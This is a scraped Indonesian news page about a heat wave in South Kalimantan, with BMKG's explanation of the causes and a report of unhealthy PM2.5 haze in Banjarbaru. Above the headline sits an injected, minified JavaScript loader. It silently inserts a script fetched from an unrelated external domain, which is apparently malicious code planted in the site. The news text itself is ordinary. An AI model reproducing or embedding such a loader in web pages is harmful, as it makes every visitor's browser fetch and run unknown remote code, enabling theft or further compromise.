(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Suhu Udara Menyengat di Kalsel, BMKG Ungkap Penyebabnya


KANALKALIMANTAN.COM, BANJARBARU – Cuaca panas dengan suhu udara yang menyengat beberapa hari belakangan terasa di Provinsi Kalimantan Selatan (Kalsel).

Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) mengungkap bahwa cuaca panas terjadi dalam sepekan terakhir memiliki suhu maksimum mencapai 37,6°C.

Suhu lebih panas ini diakui Nur Hayati, warga Kelurahan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, Jumat (17/10/2025).

“Lebih panas dari biasa cuacanya sudah semingguan ini kira-kira,” ujar Nur Hayati saat diwawancarai.

Baca juga: Sejarah Hari Pemberantasan Kemiskinan Sedunia  

Ia mengaku meski sempat sesekali terjadi hujan tidak merata pada sore hari, namun suhu udara yang menyengat kerap terjadi sejak pagi hingga siang hari.

Suhu udara yang memuncak ini pula katanya, berimbas pada imun kesehatan yang menurut dialami sebagian orang.

“Mau gak mau gak bisa menghindari panas karena harus kerja tapi Alhamdulillah imun masih kuat untuk saya dan keluarga,” imbuhnya.

Baca juga: RSUD Ulin Banjarmasin Jalani Survei Monitoring Akreditasi Kedua

Forecaster Iklim BMKG Stasiun Klimatologi Kalsel, Sri Widyastuti. Foto: wanda

Sementara itu, Forecaster Iklim BMKG Stasiun Klimatologi Kalsel, Sri Widyastuti menyebutkan kondisi suhu panas meningkat ini diprakirakan masih akan berlanjut hingga akhir Oktober atau awal November 2025.

“Kondisi suhu panas menyengat ini terjadi karena posisi atau kombinasi gerak semu matahari dan pengaruh dari Monsun Australia,” ujar Forecaster Iklim BMKG Stasiun Klimatologi Kalsel, Sri Widyastuti saat dikonfirmasi, Jumat (17/10/2025).

Berbagai wilayah Indonesia juga dalam beberapa hari terakhir turut mengalami kondisi ini, termasuk Kalsel yang berada di bawah ekuator pada saat posisi gerak semu matahari terjadi di bulan Oktober.

Baca juga: Kebaktian Bersama ASN Pemkab Kapuas, Ini Kata Wabup Dodo

Faktor lainnya adalah penguatan angin timuran atau Monsun Australia yang membawa massa udara kering dan hangat sehingga pembentukan awan minim serta radiasi matahari dapat mencapai permukaan bumi secara maksimal.

“Termasuk berpengaruh juga untuk wilayah Kalimantan Selatan berada di bawah Equator dan kondisi ini masih diterkirakan akan berlanjut hingga akhir Oktober atau awal November 2025,” sambung Sri.

Kendati demikian untuk update terakhir Kalsel masih menghadapi awal musim hujan 2025-2026 yang bervariasi terjadi.

“Walaupun terik panas seperti ini kita tetap mulai masuk musim hujan, karena yang dinamakan musim hujan itu kan dilihat dari jumlah curah hujan yang turun,” tambahnya.

Baca juga: Kelompok Usia 15-24 Tahun Penerima Santunan Jasa Raharja Tertinggi di Kalsel

Dirinya mengingatkan masyarakat agar selalu mengupdate informasi cuaca yang diberikan oleh BMKG agar lebih muda dalam mengantisipasi dan menghadapi musim panas atau pun musim hujan.

Di samping itu, melalui sebuah alat BMKG memantau ada kabut asap yang terjadi di wilayah Banjarbaru khususnya di kawasan Landasan Ulin beberapa waktu belakangan. Dari pantauan alat, pada 15 Oktober lalu terjadi lonjakan konsentrasi Partikulat PM2,5 atau terpantaunya kondisi kualitas udara atau partikel debu halus yang sangat tidak sehat.

“Pada tanggal 15 Oktober di jam 20.00 kriteriannya atau konsentrasinya itu sangat tidak sehat,” tuntas dia.

BMKG mengimbau warga untuk mewaspadai aktivitas luar ruang pada malam hari, khususnya bagi kelompok rentan seperti anak-anak, lansia, dan penderita gangguan pernapasan.

Penggunaan masker dan pembatasan aktivitas luar ruangan juga direkomendasikan saat kualitas udara memburuk. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

1 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

2 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

4 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

7 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

10 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

10 jam ago

This website uses cookies.